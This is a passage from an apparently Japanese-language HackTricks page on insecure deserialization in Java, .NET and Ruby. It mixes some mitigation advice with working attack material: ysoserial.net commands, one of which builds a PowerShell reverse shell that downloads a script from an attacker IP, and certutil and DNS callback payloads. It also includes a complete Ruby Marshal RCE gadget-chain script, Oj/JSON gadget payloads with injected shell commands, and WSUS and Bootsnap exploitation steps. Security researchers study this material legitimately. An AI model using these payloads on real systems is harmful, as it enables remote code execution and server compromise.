ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
外部ライブラリを活用したセキュリティ強化: ライブラリとして NotSoSerial, jdeserialize, Kryo などは、Java のデシリアライズを制御・監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリスト/ブラックリスト管理、デシリアライズ前のシリアライズ済みオブジェクトの解析、カスタムシリアライズ戦略の実装など、追加のセキュリティ層を提供できます。
- NotSoSerial はデシリアライズプロセスをインターセプトして、信頼できないコードの実行を防ぎます。
- jdeserialize はデシリアライズせずにシリアライズされた Java オブジェクトを解析でき、潜在的に悪意のある内容の特定に役立ちます。
- Kryo は高速性と効率性を重視した代替のシリアライズフレームワークで、セキュリティを向上させ得る構成可能なシリアライズ戦略を提供します。
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
以下のページで、JNDI Injection が何か、RMI、CORBA & LDAP 経由での悪用方法、そして log4shell の悪用方法(およびこの脆弱性の例)を確認してください:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API は、2 つ以上のクライアント間でメッセージを送信するための Java のメッセージ指向ミドルウェア API です。これは producer–consumer 問題を扱う実装です。JMS は Java Platform, Enterprise Edition (Java EE) の一部であり、Sun Microsystems で開発された仕様により定義され、その後 Java Community Process によって導かれてきました。Java EE をベースとするアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取ることを可能にするメッセージング標準です。分散アプリケーションの異なるコンポーネント間の通信を疎結合で、信頼性があり、非同期にすることを可能にします。 (From Wikipedia).
Products
このミドルウェアを使用してメッセージを送信する製品がいくつかあります:
.png)
.png)
Exploitation
要するに、JMS を危険な方法で使用しているサービスが多数存在します。したがって、これらのサービスにメッセージを送信するための 十分な権限(通常は有効な認証情報が必要)を持っている場合、消費者/サブスクライバによってデシリアライズされるような 悪意あるシリアライズ済みオブジェクト を送信できる可能性があります。
これは、この悪用においてそのメッセージを使用するすべての クライアントが感染する ことを意味します。
サービスが脆弱であっても(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するには有効なガジェットを見つける必要があることを忘れてはいけません。
ツール JMET は、既知のガジェットを使用して複数の悪意あるシリアライズ済みオブジェクトを送信し、これらのサービスに接続して攻撃するために作成されました。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されたガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
.Net の文脈では、デシリアライズのエクスプロイトは Java の場合と同様に動作し、オブジェクトのデシリアライズ中に特定のコードを実行するためにガジェットが悪用されます。
Fingerprint
WhiteBox
ソースコードは以下の出現箇所を調査するべきです:
TypeNameHandlingJavaScriptTypeResolver
注目すべきは、型がユーザー制御の変数によって決定されることを許容するシリアライザです。
BlackBox
検索は Base64 エンコードされた文字列 AAEAAAD///// や、サーバー側でデシリアライズされ得てデシリアライズされる型の制御を与える可能性のある類似パターンを対象にするべきです。これには TypeObject や $type を含む JSON や XML 構造が含まれる場合がありますが、これらに限定されません。
ysoserial.net
この場合、ツール ysoserial.net を使用して デシリアライズのエクスプロイトを作成 できます。git リポジトリをダウンロードしたら、たとえば Visual Studio を使って ツールをコンパイル してください。
ysoserial.net がどのようにエクスプロイトを作成するかを学びたい場合は、ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter が説明されているこのページを確認。
ysoserial.net の主なオプションは: --gadget, --formatter, --output and --plugin.
--gadgetは悪用するガジェット(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数)を指定するために使用します。--formatterはエクスプロイトをシリアライズする方法を指定するために使用します(バックエンドがペイロードをデシリアライズする際に使用しているライブラリを把握し、同じものを使ってシリアライズする必要があります)。--outputはエクスプロイトを raw か base64 エンコードで出力するかを指定します。 注意: ysoserial.net はペイロードを UTF-16LE(Windows のデフォルトエンコーディング)でエンコードするため、raw を取得して Linux コンソールから単に再エンコードするとエンコーディング互換性の問題が発生し、エクスプロイトが正しく動作しない可能性があります(HTB JSON ボックスではペイロードは UTF-16LE と ASCII の両方で動作しましたが、常にそうなるとは限りません)。--pluginysoserial.net は ViewState のような特定フレームワーク向けの エクスプロイトを作成するプラグイン をサポートします。
More ysoserial.net parameters
--minifyは可能な場合 より小さいペイロード を生成します。--raf -f Json.Net -c "anything"これは指定した formatter(この場合はJson.Net)で使用できるすべてのガジェットを示します。--sf xmlは ガジェットを指定(-g)すると、ysoserial.net が “xml”(大/小文字を区別しない)を含むフォーマッタを検索します。
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net には、各 exploit がどのように動作するかをよりよく理解するのに役立つ、非常に興味深いパラメータがあります: --test
このパラメータを指定すると、ysoserial.net は 試行として exploit をローカルで実行 し、payload が正しく動作するか確認できます。
このパラメータは便利です。なぜなら、コードを確認すると次のようなコードの断片が見つかるからです(ObjectDataProviderGenerator.cs より):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
つまり、exploitをテストするためにコードは serializersHelper.JsonNet_deserialize を呼び出します。
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
前述の コードは作成された exploit に対して脆弱です。したがって、.Net アプリケーションで同様の箇所を見つけた場合、そのアプリケーションもおそらく脆弱です。
そのため、--test パラメータにより、ysoserial.net が作成できる deserialization exploit に対して、どのコードの塊が脆弱かを把握できます。
ViewState
この投稿(how to try to exploit the __ViewState parameter of .Net)を参照して、任意のコードを実行する方法を確認してください。もし被害者マシンで使用されている秘密を既に知っている場合は、read this post to know to execute code をお読みください。
実際の事例: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- 影響を受けるエンドポイント:
/SimpleAuthWebService/SimpleAuth.asmx→GetCookie()にて AuthorizationCookie が復号され、その後 BinaryFormatter で deserialized されます。/ReportingWebService.asmx→ReportEventBatchおよび関連する SOAP 操作が SoapFormatter sinks に到達します;WSUS コンソールがイベントを取り込むと base64 gadget が処理されます。- 根本原因: 攻撃者制御のバイト列が厳格な allow‑lists/binders なしでレガシーな .NET フォーマッタ(BinaryFormatter/SoapFormatter)に到達するため、gadget チェインが WSUS サービスアカウント(多くの場合 SYSTEM)として実行されます。
最小限の悪用(Reporting パス):
- ysoserial.net で .NET gadget を生成し(BinaryFormatter または SoapFormatter)、base64 で出力します。例えば:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
ReportEventBatch用の SOAP を作成し、base64 gadget を埋め込んで/ReportingWebService.asmxに POST します。- 管理者が WSUS コンソールを開くと、イベントがデシリアライズされ gadget が発火し(SYSTEM としての RCE)。
AuthorizationCookie / GetCookie()
- 偽造された AuthorizationCookie が受け入れられ、復号され、BinaryFormatter sink に渡されることで、到達可能であれば pre‑auth RCE を引き起こすことができます。
Public PoC (tecxx/CVE-2025-59287-WSUS) のパラメータ:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
See Windows Local Privilege Escalation – WSUS
対策
.Net におけるデシリアライズに伴うリスクを軽減するために:
- データストリームにオブジェクト型を決定させない。 可能な場合は
DataContractSerializerやXmlSerializerを使用する。 JSON.Netを使用する場合、TypeNameHandlingをNoneに設定する:TypeNameHandling = TypeNameHandling.NoneJavaScriptSerializerをJavaScriptTypeResolverと組み合わせて使用しない。- デシリアライズ可能な型を制限する。
System.IO.FileInfoのようにサーバ上のファイルのプロパティを変更でき、サービス拒否(DoS)攻撃につながる可能性がある .Net 型の固有のリスクを理解する。 System.ComponentModel.DataAnnotations.ValidationExceptionのValueプロパティのように、危険なプロパティを持つ型に注意する。 これらは悪用される可能性がある。- 型のインスタンス化を安全に制御する。 攻撃者がデシリアライズプロセスに影響を与えられないようにし、
DataContractSerializerやXmlSerializerであっても脆弱になるのを防ぐ。 - ホワイトリスト制御を実装する。
BinaryFormatterとJSON.Netに対してカスタムSerializationBinderを使用する。 - .Net 内の既知の不安全なデシリアライズ用ガジェットを把握し、 デシリアライザがそのような型をインスタンス化しないようにする。
- 潜在的にリスクのあるコードをインターネットアクセスを持つコードから分離する。 WPF アプリケーションの
System.Windows.Data.ObjectDataProviderのような既知のガジェットを信頼されていないデータソースに晒さないようにする。
参考資料
- Java and .Net JSON deserialization 論文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf、 講演: https://www.youtube.com/watch?v=oUAeWhW5b8c とスライド: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby では、シリアライズは marshal ライブラリ内の 2 つのメソッドによって行われます。最初のメソッドである dump はオブジェクトをバイトストリームに変換するために使用され、これはシリアライズと呼ばれます。逆に、2 番目のメソッド load はバイトストリームをオブジェクトに戻すために使用され、これはデシリアライズと呼ばれます。
シリアライズされたオブジェクトを保護するために、Ruby は HMAC (Hash-Based Message Authentication Code) を使用してデータの整合性と真正性を保証します。この目的で使用されるキーは次のいずれかの場所に保存されています:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X の汎用デシリアライズから RCE へのガジェットチェーン (詳細は https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails を悪用する別の RCE chain: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() method
this vulnerability report、ユーザーからの未サニタイズ入力が ruby オブジェクトの .send() メソッドに到達すると、このメソッドはオブジェクトの任意の他のメソッドを任意の引数で呼び出すことを可能にします。
例えば、eval を呼び出し、第2引数に ruby コードを渡すと、任意のコードを実行できます:
<Object>.send('eval', '<user input with Ruby code>') == RCE
さらに、前回の writeup で述べたように、攻撃者が .send() のパラメータを1つだけ制御できる場合、オブジェクトのうち 引数を必要としない、または引数に デフォルト値 が設定されているメソッドを任意に呼び出すことが可能です。
このために、オブジェクトのメソッドを列挙して、これらの要件を満たす 興味深いメソッドを見つける ことができます。
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
方法については pollute a Ruby class and abuse it in here を確認してください。
Ruby _json pollution
リクエストボディに配列のようなハッシュ化できない値を送ると、それらは _json という新しいキーに追加されます。
ただし、攻撃者が任意の値を持つ _json という値をボディに設定することも可能です。
たとえばバックエンドがあるパラメータの正当性を検証する一方で、_json パラメータをアクション実行に使用している場合、認可のバイパスが発生する可能性があります。
詳細は Ruby _json pollution page を確認してください。
その他のライブラリ
この手法は from this blog post によるものです。
オブジェクトをシリアライズするために使われる他のRubyライブラリがあり、不安全なデシリアライズ時に悪用されてRCEを引き起こす可能性があります。以下の表は、これらのライブラリの一部と、デシリアライズされると呼び出される(RCEを達成するために悪用可能な)メソッドを示しています:
| Library | Input data | Kick-off method inside class |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
基本例:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Ojを悪用しようとした場合、hash関数の内部でto_sを呼び出し、さらにspecを呼び出し、fetch_pathを呼び出すgadget classを見つけることができ、そのfetch_pathによりランダムなURLを取得させることが可能だったため、この種のunsanitized deserialization vulnerabilitiesの優れたdetectorとなった。
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
さらに、前の手法ではシステム上にフォルダも作成されることが判明しており、これは別のgadgetを悪用してこれを完全なRCEに変えるための要件です。例えば次のようなもの:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
以下はBootsnapキャッシュを悪用してarbitrary file write脆弱性をエクスプロイトする手順を記事から短くまとめたものです:
-
Identify the Vulnerability and Environment
Railsアプリのファイルアップロード機能により、攻撃者は任意にファイルを書き込めます。アプリは制限された環境(Dockerのnon-root userによりtmpなど特定のディレクトリのみ書き込み可能)で動作しているものの、それでもBootsnapのキャッシュディレクトリ(通常tmp/cache/bootsnap以下)への書き込みは可能です。
-
Understand Bootsnap’s Cache Mechanism
Bootsnapはコンパイル済みのRubyコード、YAML、JSONファイルをキャッシュしてRailsの起動時間を短縮します。キャッシュファイルにはcache key header(Ruby version、file size、mtime、compile optionsなどのフィールドを持つ)と続くコンパイル済みコードが格納されます。このヘッダはアプリ起動時にキャッシュを検証するために使われます。
-
Gather File Metadata
攻撃者はRails起動時に読み込まれそうなターゲットファイル(例: set.rb)を選びます。コンテナ内でRubyコードを実行し、RUBY_VERSION、RUBY_REVISION、size、mtime、compile_optionなどの重要なメタデータを抽出します。これらのデータは有効なcache keyを作成するために不可欠です。
-
Compute the Cache File Path
BootsnapのFNV-1a 64-bitハッシュ機構を再現することで、正しいキャッシュファイルパスを算出します。これにより、悪意あるキャッシュファイルがBootsnapが期待する正確な場所(例: tmp/cache/bootsnap/compile-cache-iseq/ 以下)に置かれます。
-
Craft the Malicious Cache File
攻撃者は以下を行うペイロードを準備します:
- 任意のコマンドを実行(例: id を実行してプロセス情報を表示)
- 再帰的な悪用を防ぐため、実行後に悪意あるキャッシュを削除
- アプリがクラッシュしないよう元のファイル(例: set.rb)をロード
このペイロードはバイナリRubyコードにコンパイルされ、収集したメタデータと正しいBootsnapバージョン番号を用いて慎重に構築したcache keyヘッダと連結されます。
-
Overwrite and Trigger Execution
arbitrary file write脆弱性を使って、攻撃者は作成したキャッシュファイルを算出した場所に書き込みます。次にtmp/restart.txtに書き込むなどしてサーバ再起動(Pumaが監視)を誘発します。再起動中にRailsがターゲットファイルをrequireすると、悪意あるキャッシュファイルが読み込まれ、結果としてremote code execution (RCE)が発生します。
Ruby Marshal exploitation in practice (updated)
Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- 実際のチェーンで見られる一般的な gadget クラス:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - ペイロードに埋め込まれる典型的な副作用マーカー(unmarshal 中に実行される):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
実際のアプリで現れる場所:
- Rails の cache store や session store(歴史的に Marshal を使用しているもの)
- Background job のバックエンドやファイルベースのオブジェクトストア
- バイナリオブジェクトの blob を独自に永続化または転送している箇所全般
ガジェット発見の自動化:
- コンストラクタ、
hash、_load、init_with、または unmarshal 中に呼ばれる副作用のあるメソッドを Grep する - CodeQL の Ruby unsafe deserialization クエリを使って sources → sinks をトレースし、ガジェットを可視化する
- 公開されているマルチフォーマット PoC(JSON/XML/YAML/Marshal)で検証する
参考文献
- Trail of Bits – Marshal madness: Ruby のデシリアライズ脆弱性の簡潔な歴史: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


